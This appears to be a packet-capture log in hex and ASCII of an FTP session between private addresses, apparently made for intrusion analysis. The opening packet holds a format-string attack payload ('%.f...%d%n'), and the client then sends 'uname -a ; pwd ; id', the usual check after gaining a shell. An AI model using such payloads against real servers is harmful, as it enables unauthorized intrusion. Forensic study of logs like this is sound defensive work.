2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 64 25 64 25 64 25 64 25 64 25 64 25 64 25 f%d%d%d%d%d%d%d% 64 25 64 25 64 25 64 25 64 25 64 25 64 25 64 25 d%d%d%d%d%d%d%d% 64 25 64 25 64 25 2E 31 33 34 36 39 39 31 39 39 d%d%d%.134699199 64 25 6E 0D 0A d%n.. =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/14-16:05:44.020795 0:50:56:49:0:66 -> 0:3:FD:FA:30:1C type:0x800 len:0x42 192.168.36.26:21 -> 192.168.20.11:1649 TCP TTL:64 TOS:0x10 ID:37652 IpLen:20 DgmLen:52 DF ***A**** Seq: 0x2AE2B03 Ack: 0x2A613AF Win: 0x7C70 TcpLen: 32 TCP Options (3) => NOP NOP TS: 69269741 114785020 =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/14-16:05:44.021656 0:3:FD:FA:30:1C -> 0:50:56:49:0:66 type:0x800 len:0x56 192.168.20.11:1649 -> 192.168.36.26:21 TCP TTL:63 TOS:0x0 ID:41704 IpLen:20 DgmLen:72 DF ***AP*** Seq: 0x2A613AF Ack: 0x2AE2B03 Win: 0x7D78 TcpLen: 32 TCP Options (3) => NOP NOP TS: 114785021 69269741 75 6E 61 6D 65 20 2D 61 20 3B 20 70 77 64 20 3B uname -a ; pwd ; 20 69 64 0A id. =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/14-16:05:44.040819 0:50:56:49:0:66 -> 0:3:FD:FA:30:1C type:0x800 len:0x42 192.168.36.26:21 -> 192.168.20.11:1649 TCP TTL:64 TOS:0x10 ID:37653 IpLen:20 DgmLen:52 DF ***A**** Seq: 0x2AE2B03 Ack: 0x2A613C3 Win: 0x7C70 TcpLen: 32 TCP Options (3) => NOP NOP TS: 69269743 114785021 =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/14-16:05:50.895929 0:50:56:49:0:66 -> 0:3:FD:FA:30:1C type:0x800 len:0x442 192.168.36.26:21 -> 192.168.20.11:1649 TCP TTL:64 TOS:0x10 ID:37654 IpLen:20 DgmLen:1076 DF ***AP*** Seq: 0x2AE2B03 Ack: 0x2A613C3 Win: 0x7C70 TcpLen: 32 TCP Options (3) => NOP NOP TS: 69270428 114785021 32 30 30 2D 61 61 6C D0 FF BF 2D 32 2D 32 30 30 200-aal...-2-200 30 2D 32 30 30 30 30 30 30 30 30 30 30 30 30 30 0-20000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 6E 61 6E 30 30 30 30 30 30 30 30 2D 0000nan00000000- 32 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 2000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 2D 32 2D 32 34 00000000000-2-24 30 6E 61 6E 2D 31 30 37 33 37 35 30 34 38 32 30 0nan-10737504820 2D 31 30 37 33 37 35 31 32 35 36 31 30 37 34 35 -107375125610745 34 32 35 34 31 2D 31 30 37 33 37 35 31 32 35 36 42541-1073751256 31 30 37 34 35 35 33 34 35 31 2D 31 30 37 33 37 1074553451-10737 35 31 31 37 36 31 30 37 35 32 33 33 32 32 38 2D 511761075233228- 31 30 37 33 37 35 31 31 37 36 2D 31 30 37 33 37 1073751176-10737 35 30 39 30 32 2D 31 30 37 33 37 35 30 38 39 38 50902-1073750898 30 30 30 31 39 32 30 31 36 39 32 36 33 31 38 35 0001920169263185 32 34 30 30 31 37 35 31 38 38 36 36 37 36 35 32 2400175188667652 37 31 37 30 32 33 38 39 30 33 37 30 30 30 30 30 7170238903700000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/14-16:05:50.904745 0:50:56:49:0:66 -> 0:3:FD:FA:30:1C type:0x800 len:0x5EA 192.168.36.26:21 -> 192.168.20.11:1649 TCP TTL:64 TOS:0x10 ID:37655 IpLen:20 DgmLen:1500 DF ***AP*** Seq: 0x2AE2F03 Ack: 0x2A613C3 Win: 0x7C70 TcpLen: 32 TCP Options (3) => NOP NOP TS: 69270429 114785021 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 00000000 =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/14-16:05:50.904948 0:50:56:49:0:66 -> 0:3:FD:FA:30:1C type:0x800 len:0x5EA 192.168.36.26:21 -> 192.168.20.11:1649 TCP TTL:64 TOS:0x10 ID:37656 IpLen:20 DgmLen:1500 DF ***AP*** Seq: 0x2AE34AB Ack: 0x2A613C3 Win: 0x7C70 TcpLen: 32 TCP Options (3) => NOP NOP TS: 69270429 114785021 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 00000000 =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/14-16:05:50.905045 0:50:56:49:0:66 -> 0:3:FD:FA:30:1C type:0x800 len:0x5EA 192.168.36.26:21 -> 192.168.20.11:1649 TCP TTL:64 TOS:0x10 ID:37657 IpLen:20 DgmLen:1500 DF ***AP*** Seq: 0x2AE3A53 Ack: 0x2A613C3 Win: 0x7C70 TcpLen: 32 TCP Options (3) => NOP NOP TS: 69270429 114785021 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 